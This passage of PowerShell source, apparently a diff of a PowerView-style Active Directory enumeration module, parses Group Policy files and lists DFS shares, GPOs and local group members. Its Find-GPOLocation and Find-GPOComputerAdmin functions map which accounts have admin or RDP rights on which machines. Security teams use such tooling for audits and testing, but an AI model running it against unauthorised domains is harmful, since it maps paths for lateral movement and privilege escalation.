$ShareName = $Properties.'msdfs-linkpathv2'[0] + New-Object -TypeName PSObject -Property @{'Name'="$DFSroot$ShareName";'RemoteServerName'=$Target.split("\")[2]} + } + } + catch { + Write-Debug "Error in parsing target : $_" + } + } + } + } + catch { + Write-Warning "Get-DFSshareV2 error : $_" + } + $DFSshares | Sort-Object -Unique -Property "RemoteServerName" + } + } + + $DFSshares = @() + + if ( ($Version -eq "all") -or ($Version.endsWith("1")) ) { + $DFSshares += Get-DFSshareV1 -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + } + if ( ($Version -eq "all") -or ($Version.endsWith("2")) ) { + $DFSshares += Get-DFSshareV2 -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + } + + $DFSshares | Sort-Object -Property "RemoteServerName" +} + + +######################################################## +# +# GPO related functions. +# +######################################################## + +function Get-GptTmpl { +<# + .SYNOPSIS + + Helper to parse a GptTmpl.inf policy file path into a custom object. + + .PARAMETER GptTmplPath + + The GptTmpl.inf file path name to parse. + + .PARAMETER UsePSDrive + + Switch. Mount the target GptTmpl folder path as a temporary PSDrive. + + .EXAMPLE + + PS C:\> Get-GptTmpl -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" + + Parse the default domain policy .inf for dev.testlab.local +#> + + [CmdletBinding()] + Param ( + [Parameter(Mandatory=$True, ValueFromPipeline=$True)] + [String] + $GptTmplPath, + + [Switch] + $UsePSDrive + ) + + begin { + if($UsePSDrive) { + # if we're PSDrives, create a temporary mount point + $Parts = $GptTmplPath.split('\') + $FolderPath = $Parts[0..($Parts.length-2)] -join '\' + $FilePath = $Parts[-1] + $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join '' + + Write-Verbose "Mounting path $GptTmplPath using a temp PSDrive at $RandDrive" + + try { + $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop + } + catch { + Write-Debug "Error mounting path $GptTmplPath : $_" + return $Null + } + + # so we can cd/dir the new drive + $GptTmplPath = $RandDrive + ":\" + $FilePath + } + } + + process { + $SectionName = '' + $SectionsTemp = @{} + $SectionsFinal = @{} + + try { + + if(Test-Path $GptTmplPath) { + + Write-Verbose "Parsing $GptTmplPath" + + Get-Content $GptTmplPath -ErrorAction Stop | Foreach-Object { + if ($_ -match '\[') { + # this signifies that we're starting a new section + $SectionName = $_.trim('[]') -replace ' ','' + } + elseif($_ -match '=') { + $Parts = $_.split('=') + $PropertyName = $Parts[0].trim() + $PropertyValues = $Parts[1].trim() + + if($PropertyValues -match ',') { + $PropertyValues = $PropertyValues.split(',') + } + + if(!$SectionsTemp[$SectionName]) { + $SectionsTemp.Add($SectionName, @{}) + } + + # add the parsed property into the relevant Section name + $SectionsTemp[$SectionName].Add( $PropertyName, $PropertyValues ) + } + } + + ForEach ($Section in $SectionsTemp.keys) { + # transform each nested hash table into a custom object + $SectionsFinal[$Section] = New-Object PSObject -Property $SectionsTemp[$Section] + } + + # transform the parent hash table into a custom object + New-Object PSObject -Property $SectionsFinal + } + } + catch { + Write-Debug "Error parsing $GptTmplPath : $_" + } + } + + end { + if($UsePSDrive -and $RandDrive) { + Write-Verbose "Removing temp PSDrive $RandDrive" + Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive + } + } +} + + +function Get-GroupsXML { +<# + .SYNOPSIS + + Helper to parse a groups.xml file path into a custom object. + + .PARAMETER GroupsXMLpath + + The groups.xml file path name to parse. + + .PARAMETER ResolveSids + + Switch. Resolve Sids from a DC policy to object names. + + .PARAMETER UsePSDrive + + Switch. Mount the target groups.xml folder path as a temporary PSDrive. + +#> + + [CmdletBinding()] + Param ( + [Parameter(Mandatory=$True, ValueFromPipeline=$True)] + [String] + $GroupsXMLPath, + + [Switch] + $ResolveSids, + + [Switch] + $UsePSDrive + ) + + begin { + if($UsePSDrive) { + # if we're PSDrives, create a temporary mount point + $Parts = $GroupsXMLPath.split('\') + $FolderPath = $Parts[0..($Parts.length-2)] -join '\' + $FilePath = $Parts[-1] + $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join '' + + Write-Verbose "Mounting path $GroupsXMLPath using a temp PSDrive at $RandDrive" + + try { + $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop + } + catch { + Write-Debug "Error mounting path $GroupsXMLPath : $_" + return $Null + } + + # so we can cd/dir the new drive + $GroupsXMLPath = $RandDrive + ":\" + $FilePath + } + } + + process { + + # parse the Groups.xml file if it exists + if(Test-Path $GroupsXMLPath) { + + [xml] $GroupsXMLcontent = Get-Content $GroupsXMLPath + + # process all group properties in the XML + $GroupsXMLcontent | Select-Xml "//Group" | Select-Object -ExpandProperty node | ForEach-Object { + + $Members = @() + $MemberOf = @() + + # extract the localgroup sid for memberof + $LocalSid = $_.Properties.GroupSid + if(!$LocalSid) { + if($_.Properties.groupName -match 'Administrators') { + $LocalSid = 'S-1-5-32-544' + } + elseif($_.Properties.groupName -match 'Remote Desktop') { + $LocalSid = 'S-1-5-32-555' + } + else { + $LocalSid = $_.Properties.groupName + } + } + $MemberOf = @($LocalSid) + + $_.Properties.members | ForEach-Object { + # process each member of the above local group + $_ | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { + + if($_.sid) { + $Members += $_.sid + } + else { + # just a straight local account name + $Members += $_.name + } + } + } + + if ($Members -or $Memberof) { + # extract out any/all filters...I hate you GPP + $Filters = $_.filters | ForEach-Object { + $_ | Select-Object -ExpandProperty Filter* | ForEach-Object { + New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name} + } + } + + if($ResolveSids) { + $Memberof = $Memberof | ForEach-Object {Convert-SidToName $_} + $Members = $Members | ForEach-Object {Convert-SidToName $_} + } + + if($Memberof -isnot [system.array]) {$Memberof = @($Memberof)} + if($Members -isnot [system.array]) {$Members = @($Members)} + + $GPOProperties = @{ + 'GPODisplayName' = $GPODisplayName + 'GPOName' = $GPOName + 'GPOPath' = $GroupsXMLPath + 'Filters' = $Filters + 'MemberOf' = $Memberof + 'Members' = $Members + } + + New-Object -TypeName PSObject -Property $GPOProperties + } + } + } + } + + end { + if($UsePSDrive -and $RandDrive) { + Write-Verbose "Removing temp PSDrive $RandDrive" + Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive + } + } +} + + + +function Get-NetGPO { +<# + .SYNOPSIS + + Gets a list of all current GPOs in a domain. + + .PARAMETER GPOname + + The GPO name to query for, wildcards accepted. + + .PARAMETER DisplayName + + The GPO display name to query for, wildcards accepted. + + .PARAMETER Domain + + The domain to query for GPOs, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through + e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local" + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-NetGPO -Domain testlab.local + + Returns the GPOs in the 'testlab.local' domain. +#> + [CmdletBinding()] + Param ( + [Parameter(ValueFromPipeline=$True)] + [String] + $GPOname = '*', + + [String] + $DisplayName, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + + ) + + begin { + $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + } + + process { + if ($GPOSearcher) { + if($DisplayName) { + $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(displayname=$DisplayName))" + } + else { + $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))" + } + + $GPOSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties + } + } + } +} + + +function Get-NetGPOGroup { +<# + .SYNOPSIS + + Returns all GPOs in a domain that set "Restricted Groups" + or use groups.xml on on target machines. + + .PARAMETER GPOname + + The GPO name to query for, wildcards accepted. + + .PARAMETER DisplayName + + The GPO display name to query for, wildcards accepted. + + .PARAMETER ResolveSids + + Switch. Resolve Sids from a DC policy to object names. + + .PARAMETER Domain + + The domain to query for GPOs, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through + e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local" + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .PARAMETER UsePSDrive + + Switch. Mount any found policy files with temporary PSDrives. + + .EXAMPLE + + PS C:\> Get-NetGPOGroup + + Get all GPOs that set local groups on the current domain. +#> + + [CmdletBinding()] + Param ( + [String] + $GPOname = '*', + + [String] + $DisplayName, + + [Switch] + $ResolveSids, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [Switch] + $UsePSDrive, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + # get every GPO from the specified domain with restricted groups set + Get-NetGPO -GPOName $GPOname -DisplayName $GPOname -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize | Foreach-Object { + + $Memberof = $Null + $Members = $Null + $GPOdisplayName = $_.displayname + $GPOname = $_.name + $GPOPath = $_.gpcfilesyspath + + $ParseArgs = @{ + 'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" + 'UsePSDrive' = $UsePSDrive + } + + # parse the GptTmpl.inf 'Restricted Groups' file if it exists + $Inf = Get-GptTmpl @ParseArgs + + if($Inf.GroupMembership) { + + $Memberof = $Inf.GroupMembership | Get-Member *Memberof | ForEach-Object { $Inf.GroupMembership.($_.name) } | ForEach-Object { $_.trim('*') } + $Members = $Inf.GroupMembership | Get-Member *Members | ForEach-Object { $Inf.GroupMembership.($_.name) } | ForEach-Object { $_.trim('*') } + + # only return an object if Members are found + if ($Members -or $Memberof) { + + # if there is no Memberof defined, assume local admins + if(!$Memberof) { + $Memberof = 'S-1-5-32-544' + } + + if($ResolveSids) { + $Memberof = $Memberof | ForEach-Object {Convert-SidToName $_} + $Members = $Members | ForEach-Object {Convert-SidToName $_} + } + + if($Memberof -isnot [system.array]) {$Memberof = @($Memberof)} + if($Members -isnot [system.array]) {$Members = @($Members)} + + $GPOProperties = @{ + 'GPODisplayName' = $GPODisplayName + 'GPOName' = $GPOName + 'GPOPath' = $GPOPath + 'Filters' = $Null + 'MemberOf' = $Memberof + 'Members' = $Members + } + + New-Object -TypeName PSObject -Property $GPOProperties + } + } + + $ParseArgs = @{ + 'GroupsXMLpath' = "$GPOPath\MACHINE\Preferences\Groups\Groups.xml" + 'ResolveSids' = $ResolveSids + 'UsePSDrive' = $UsePSDrive + } + + Get-GroupsXML @ParseArgs + } +} + + +function Find-GPOLocation { +<# + .SYNOPSIS + + Takes a user/group name and optional domain, and determines + the computers in the domain the user/group has local admin + (or RDP) rights to. + + It does this by: + 1. resolving the user/group to its proper sid + 2. enumerating all groups the user/group is a current part of + and extracting all target SIDs to build a target SID list + 3. pulling all GPOs that set 'Restricted Groups' by calling + Get-NetGPOGroup + 4. matching the target sid list to the queried GPO SID list + to enumerate all GPO the user is effectively applied with + 5. enumerating all OUs and sites and applicable GPO GUIs are + applied to through gplink enumerating + 6. querying for all computers under the given OUs or sites + + .PARAMETER UserName + + A (single) user name name to query for access. + + .PARAMETER GroupName + + A (single) group name name to query for access. + + .PARAMETER Domain + + Optional domain the user exists in for querying, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER LocalGroup + + The local group to check access against. + Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), + or a custom local SID. Defaults to local 'Administrators'. + + .PARAMETER UsePSDrive + + Switch. Mount any found policy files with temporary PSDrives. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Find-GPOLocation -UserName dfm + + Find all computers that dfm user has local administrator rights to in + the current domain. + + .EXAMPLE + + PS C:\> Find-GPOLocation -UserName dfm -Domain dev.testlab.local + + Find all computers that dfm user has local administrator rights to in + the dev.testlab.local domain. + + .EXAMPLE + + PS C:\> Find-GPOLocation -UserName jason -LocalGroup RDP + + Find all computers that jason has local RDP access rights to in the domain. +#> + + [CmdletBinding()] + Param ( + [String] + $UserName, + + [String] + $GroupName, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $LocalGroup = 'Administrators', + + [Switch] + $UsePSDrive, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + if($UserName) { + + $User = Get-NetUser -UserName $UserName -Domain $Domain -DomainController $DomainController -PageSize $PageSize + $UserSid = $User.objectsid + + if(!$UserSid) { + Throw "User '$UserName' not found!" + } + + $TargetSid = $UserSid + $ObjectSamAccountName = $User.samaccountname + $ObjectDistName = $User.distinguishedname + } + elseif($GroupName) { + + $Group = Get-NetGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize + $GroupSid = $Group.objectsid + + if(!$GroupSid) { + Throw "Group '$GroupName' not found!" + } + + $TargetSid = $GroupSid + $ObjectSamAccountName = $Group.samaccountname + $ObjectDistName = $Group.distinguishedname + } + else { + throw "-UserName or -GroupName must be specified!" + } + + if($LocalGroup -like "*Admin*") { + $LocalSID = "S-1-5-32-544" + } + elseif ( ($LocalGroup -like "*RDP*") -or ($LocalGroup -like "*Remote*") ) { + $LocalSID = "S-1-5-32-555" + } + elseif ($LocalGroup -like "S-1-5*") { + $LocalSID = $LocalGroup + } + else { + throw "LocalGroup must be 'Administrators', 'RDP', or a 'S-1-5-X' type sid." + } + + Write-Verbose "LocalSid: $LocalSID" + Write-Verbose "TargetSid: $TargetSid" + Write-Verbose "TargetObjectDistName: $ObjectDistName" + + if($TargetSid -isnot [system.array]) { $TargetSid = @($TargetSid) } + + # use the tokenGroups approach from Get-NetGroup to get all effective + # security SIDs this object is a part of + $TargetSid += Get-NetGroup -Domain $Domain -DomainController $DomainController -PageSize $PageSize -UserName $ObjectSamAccountName -RawSids + + if($TargetSid -isnot [system.array]) { $TargetSid = @($TargetSid) } + + Write-Verbose "Effective target sids: $TargetSid" + + $GPOGroupArgs = @{ + 'Domain' = $Domain + 'DomainController' = $DomainController + 'UsePSDrive' = $UsePSDrive + 'PageSize' = $PageSize + } + + # get all GPO groups, and filter on ones that match our target SID list + # and match the target local sid memberof list + $GPOgroups = Get-NetGPOGroup @GPOGroupArgs | ForEach-Object { + + if ($_.members) { + $_.members = $_.members | Where-Object {$_} | ForEach-Object { + if($_ -match "S-1-5") { + $_ + } + else { + # if there are any plain group names, try to resolve them to sids + Convert-NameToSid -ObjectName $_ -Domain $Domain + } + } + + # stop PowerShell 2.0's string stupid unboxing + if($_.members -isnot [system.array]) { $_.members = @($_.members) } + if($_.memberof -isnot [system.array]) { $_.memberof = @($_.memberof) } + + if($_.members) { + try { + # only return groups that contain a target sid + + # TODO: fix stupid weird "-DifferenceObject" is null error + if( (Compare-Object -ReferenceObject $_.members -DifferenceObject $TargetSid -IncludeEqual -ExcludeDifferent) ) { + if ($_.memberof -contains $LocalSid) { + $_ + } + } + } + catch { + Write-Debug "Error comparing members and $TargetSid : $_" + } + } + } + } + + Write-Verbose "GPOgroups: $GPOgroups" + $ProcessedGUIDs = @{} + + # process the matches and build the result objects + $GPOgroups | Where-Object {$_} | ForEach-Object { + + $GPOguid = $_.GPOName + + if( -not $ProcessedGUIDs[$GPOguid] ) { + $GPOname = $_.GPODisplayName + $Filters = $_.Filters + + # find any OUs that have this GUID applied + Get-NetOU -Domain $Domain -DomainController $DomainController -GUID $GPOguid -FullData -PageSize $PageSize | ForEach-Object { + + if($Filters) { + # filter for computer name/org unit if a filter is specified + # TODO: handle other filters? + $OUComputers = Get-NetComputer -ADSpath $_.ADSpath -FullData -PageSize $PageSize | Where-Object { + $_.adspath -match ($Filters.Value) + } | ForEach-Object { $_.dnshostname } + } + else { + $OUComputers = Get-NetComputer -ADSpath $_.ADSpath -PageSize $PageSize + } + + $GPOLocation = New-Object PSObject + $GPOLocation | Add-Member Noteproperty 'ObjectName' $ObjectDistName + $GPOLocation | Add-Member Noteproperty 'GPOname' $GPOname + $GPOLocation | Add-Member Noteproperty 'GPOguid' $GPOguid + $GPOLocation | Add-Member Noteproperty 'ContainerName' $_.distinguishedname + $GPOLocation | Add-Member Noteproperty 'Computers' $OUComputers + $GPOLocation + } + + # find any sites that have this GUID applied + # TODO: fix, this isn't the correct way to query computers from a site... + # Get-NetSite -GUID $GPOguid -FullData | Foreach-Object { + # if($Filters) { + # # filter for computer name/org unit if a filter is specified + # # TODO: handle other filters? + # $SiteComptuers = Get-NetComputer -ADSpath $_.ADSpath -FullData | ? { + # $_.adspath -match ($Filters.Value) + # } | Foreach-Object {$_.dnshostname} + # } + # else { + # $SiteComptuers = Get-NetComputer -ADSpath $_.ADSpath + # } + + # $SiteComptuers = Get-NetComputer -ADSpath $_.ADSpath + # $out = New-Object PSObject + # $out | Add-Member Noteproperty 'Object' $ObjectDistName + # $out | Add-Member Noteproperty 'GPOname' $GPOname + # $out | Add-Member Noteproperty 'GPOguid' $GPOguid + # $out | Add-Member Noteproperty 'ContainerName' $_.distinguishedname + # $out | Add-Member Noteproperty 'Computers' $OUComputers + # $out + # } + + # mark off this GPO GUID so we don't process it again if there are dupes + $ProcessedGUIDs[$GPOguid] = $True + } + } + +} + + +function Find-GPOComputerAdmin { +<# + .SYNOPSIS + + Takes a computer (or GPO) object and determines what users/groups have + administrative access over it. + + Inverse of Find-GPOLocation. + + .PARAMETER ComputerName + + The computer to determine local administrative access to. + + .PARAMETER OUName + + OU name to determine who has local adminisrtative acess to computers + within it. + + .PARAMETER Domain + + Optional domain the computer/OU exists in, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER Recurse + + Switch. If a returned member is a group, recurse and get all members. + + .PARAMETER LocalGroup + + The local group to check access against. + Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), + or a custom local SID. + Defaults to local 'Administrators'. + + .PARAMETER UsePSDrive + + Switch. Mount any found policy files with temporary PSDrives. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Find-GPOComputerAdmin -ComputerName WINDOWS3.dev.testlab.local + + Finds users who have local admin rights over WINDOWS3 through GPO correlation. + + .EXAMPLE + + PS C:\> Find-GPOComputerAdmin -ComputerName WINDOWS3.dev.testlab.local -LocalGroup RDP + + Finds users who have RDP rights over WINDOWS3 through GPO correlation. +#> + + [CmdletBinding()] + Param ( + [Parameter(ValueFromPipeline=$True)] + [String] + $ComputerName, + + [String] + $OUName, + + [String] + $Domain, + + [String] + $DomainController, + + [Switch] + $Recurse, + + [String] + $LocalGroup = 'Administrators', + + [Switch] + $UsePSDrive, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + process { + + if(!$ComputerName -and !$OUName) { + Throw "-ComputerName or -OUName must be provided" + } + + if($ComputerName) { + $Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize + + if(!$Computers) { + throw "Computer $Computer in domain '$Domain' not found!" + } + + ForEach($Computer in $Computers) { + # extract all OUs a computer is a part of + $DN = $Computer.distinguishedname + + $TargetOUs = $DN.split(",") | Foreach-Object { + if($_.startswith("OU=")) { + $DN.substring($DN.indexof($_)) + } + } + } + } + else { + $TargetOUs = @($OUName) + } + + Write-Verbose "Target OUs: $TargetOUs" + + $TargetOUs | Where-Object {$_} | Foreach-Object { + + $OU = $_ + + # for each OU the computer is a part of, get the full OU object + $GPOgroups = Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $_ -FullData -PageSize $PageSize | Foreach-Object { + # and then get any GPO links + $_.gplink.split("][") | Foreach-Object { + if ($_.startswith("LDAP")) { + $_.split(";")[0] + } + } + } | Foreach-Object { + $GPOGroupArgs = @{ + 'Domain' = $Domain + 'DomainController' = $DomainController + 'ADSpath' = $_ + 'UsePSDrive' = $UsePSDrive + 'PageSize' = $PageSize + } + + # for each GPO link, get any locally set user/group SIDs + Get-NetGPOGroup @GPOGroupArgs + } + + # for each found GPO group, resolve the SIDs of the members + $GPOgroups | Where-Object {$_} | Foreach-Object { + $GPO = $_ + $GPO.members | Foreach-Object { + + # resolvethis SID to a domain object + $Object = Get-ADObject -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize + + $GPOComputerAdmin = New-Object PSObject + $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName + $GPOComputerAdmin | Add-Member Noteproperty 'OU' $OU + $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPO.GPODisplayName + $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPO.GPOPath + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $Object.name + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_ + $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $($Object.samaccounttype -match '268435456') + $GPOComputerAdmin + + # if we're recursing and the current result object is a group + if($Recurse -and $GPOComputerAdmin.isGroup) { + + Get-NetGroupMember -SID $_ -FullData -Recurse -PageSize $PageSize | Foreach-Object { + + $MemberDN = $_.distinguishedName + + # extract the FQDN from the Distinguished Name + $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + + if ($_.samAccountType -ne "805306368") { + $MemberIsGroup = $True + } + else { + $MemberIsGroup = $False + } + + if ($_.samAccountName) { + # forest users have the samAccountName set + $MemberName = $_.samAccountName + } + else { + # external trust users have a SID, so convert it + try { + $MemberName = Convert-SidToName $_.cn + } + catch { + # if there's a problem contacting the domain to resolve the SID + $MemberName = $_.cn + } + } + + $GPOComputerAdmin = New-Object PSObject + $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName + $GPOComputerAdmin | Add-Member Noteproperty 'OU' $OU + $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPO.GPODisplayName + $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPO.GPOPath + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $MemberName + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $MemberDN + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_.objectsid + $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $MemberIsGroup + $GPOComputerAdmin + } + } + } + } + } + } +} + + +function Get-DomainPolicy { +<# + .SYNOPSIS + + Returns the default domain or DC policy for a given + domain or domain controller. + + Thanks Sean Metacalf (@pyrotek3) for the idea and guidance. + + .PARAMETER Source + + Extract Domain or DC (domain controller) policies. + + .PARAMETER Domain + + The domain to query for default policies, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ResolveSids + + Switch. Resolve Sids from a DC policy to object names. + + .PARAMETER UsePSDrive + + Switch. Mount any found policy files with temporary PSDrives. + + .EXAMPLE + + PS C:\> Get-NetGPO + + Returns the GPOs in the current domain. +#> + + [CmdletBinding()] + Param ( + [String] + [ValidateSet("Domain","DC")] + $Source ="Domain", + + [String] + $Domain, + + [String] + $DomainController, + + [Switch] + $ResolveSids, + + [Switch] + $UsePSDrive + ) + + if($Source -eq "Domain") { + # query the given domain for the default domain policy object + $GPO = Get-NetGPO -Domain $Domain -DomainController $DomainController -GPOname "{31B2F340-016D-11D2-945F-00C04FB984F9}" + + if($GPO) { + # grab the GptTmpl.inf file and parse it + $GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" + + $ParseArgs = @{ + 'GptTmplPath' = $GptTmplPath + 'UsePSDrive' = $UsePSDrive + } + + # parse the GptTmpl.inf + Get-GptTmpl @ParseArgs + } + + } + elseif($Source -eq "DC") { + # query the given domain/dc for the default domain controller policy object + $GPO = Get-NetGPO -Domain $Domain -DomainController $DomainController -GPOname "{6AC1786C-016F-11D2-945F-00C04FB984F9}" + + if($GPO) { + # grab the GptTmpl.inf file and parse it + $GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" + + $ParseArgs = @{ + 'GptTmplPath' = $GptTmplPath + 'UsePSDrive' = $UsePSDrive + } + + # parse the GptTmpl.inf + Get-GptTmpl @ParseArgs | Foreach-Object { + if($ResolveSids) { + # if we're resolving sids in PrivilegeRights to names + $Policy = New-Object PSObject + $_.psobject.properties | Foreach-Object { + if( $_.Name -eq 'PrivilegeRights') { + + $PrivilegeRights = New-Object PSObject + # for every nested SID member of PrivilegeRights, try to + # unpack everything and resolve the SIDs as appropriate + $_.Value.psobject.properties | Foreach-Object { + + $Sids = $_.Value | Foreach-Object { + try { + if($_ -isnot [System.Array]) { + Convert-SidToName $_ + } + else { + $_ | Foreach-Object { Convert-SidToName $_ } + } + } + catch { + Write-Debug "Error resolving SID : $_" + } + } + + $PrivilegeRights | Add-Member Noteproperty $_.Name $Sids + } + + $Policy | Add-Member Noteproperty 'PrivilegeRights' $PrivilegeRights + } + else { + $Policy | Add-Member Noteproperty $_.Name $_.Value + } + } + $Policy + } + else { $_ } + } + } + } +} + + + +######################################################## +# +# Functions that enumerate a single host, either through +# WinNT, WMI, remote registry, or API calls +# (with PSReflect). +# +######################################################## + +function Get-NetLocalGroup { +<# + .SYNOPSIS + + Gets a list of all current users in a specified local group, + or returns the names of all local groups with -ListGroups. + + .PARAMETER ComputerName + + The hostname or IP to query for local group users. + + .PARAMETER ComputerFile + + File of hostnames/IPs to query for local group users. + + .PARAMETER GroupName + + The local group name to query for users. If not given, it defaults to "Administrators" + + .PARAMETER ListGroups + + Switch. List all the local groups instead of their members. + Old Get-NetLocalGroups functionality. + + .PARAMETER Recurse + + Switch. If the local member member is a domain group, recursively try to resolve its members to get a list of domain users who can access this machine. + + .EXAMPLE + + PS C:\> Get-NetLocalGroup + + Returns the usernames that of members of localgroup "Administrators" on the local host. + + .EXAMPLE + + PS C:\> Get-NetLocalGroup -ComputerName WINDOWSXP + + Returns all the local administrator accounts for WINDOWSXP + + .EXAMPLE + + PS C:\> Get-NetLocalGroup -ComputerName WINDOWS7 -Resurse + + Returns all effective local/domain users/groups that can access WINDOWS7 with + local administrative privileges. + + .EXAMPLE + + PS C:\> Get-NetLocalGroup -ComputerName WINDOWS7 -ListGroups + + Returns all local groups on the WINDOWS7 host. + + .LINK + + http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together + http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [String] + $ComputerName = 'localhost', + + [ValidateScript({Test-Path -Path $_ })] + [Alias('HostList')] + [String] + $ComputerFile, + + [String] + $GroupName = 'Administrators', + + [Switch] + $ListGroups, + + [Switch] + $Recurse + ) + + begin { + if ((-not $ListGroups) -and (-not $GroupName)) { + # resolve the SID for the local admin group - this should usually default to "Administrators" + $ObjSID = New-Object System.Security.Principal.SecurityIdentifier('S-1-5-32-544') + $Objgroup = $ObjSID.Translate( [System.Security.Principal.NTAccount]) + $GroupName = ($Objgroup.Value).Split('\')[1] + } + } + process { + + $Servers = @() + + # if we have a host list passed, grab it + if($ComputerFile) { + $Servers = Get-Content -Path $ComputerFile + } + else { + # otherwise assume a single host name + $Servers += Get-NameField -Object $ComputerName + } + + # query the specified group using the WINNT provider, and + # extract fields as appropriate from the results + ForEach($Server in $Servers) { + try { + if($ListGroups) { + # if we're listing the group names on a remote server + $Computer = [ADSI]"WinNT://$Server,computer" + + $Computer.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'group' } | ForEach-Object { + $Group = New-Object PSObject + $Group | Add-Member Noteproperty 'Server' $Server + $Group | Add-Member Noteproperty 'Group' ($_.name[0]) + $Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier $_.objectsid[0],0).Value) + $Group | Add-Member Noteproperty 'Description' ($_.Description[0]) + $Group + } + } + else { + # otherwise we're listing the group members + $Members = @($([ADSI]"WinNT://$Server/$GroupName").psbase.Invoke('Members')) + + $Members | ForEach-Object { + + $Member = New-Object PSObject + $Member | Add-Member Noteproperty 'Server' $Server + + $AdsPath = ($_.GetType().InvokeMember('Adspath', 'GetProperty', $Null, $_, $Null)).Replace('WinNT://', '') + + # try to translate the NT4 domain to a FQDN if possible + $Name = Convert-NT4toCanonical -ObjectName $AdsPath + if($Name) { + $FQDN = $Name.split("/")[0] + $ObjName = $AdsPath.split("/")[-1] + $Name = "$FQDN/$ObjName" + $IsDomain = $True + } + else { + $Name = $AdsPath + $IsDomain = $False + } + + $Member | Add-Member Noteproperty 'AccountName' $Name + + # translate the binary sid to a string + $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($_.GetType().InvokeMember('ObjectSID', 'GetProperty', $Null, $_, $Null),0)).Value) + + # if the account is local, check if it's disabled, if it's domain, always print $False + # TODO: fix this occasinal error? + $Member | Add-Member Noteproperty 'Disabled' $( if(-not 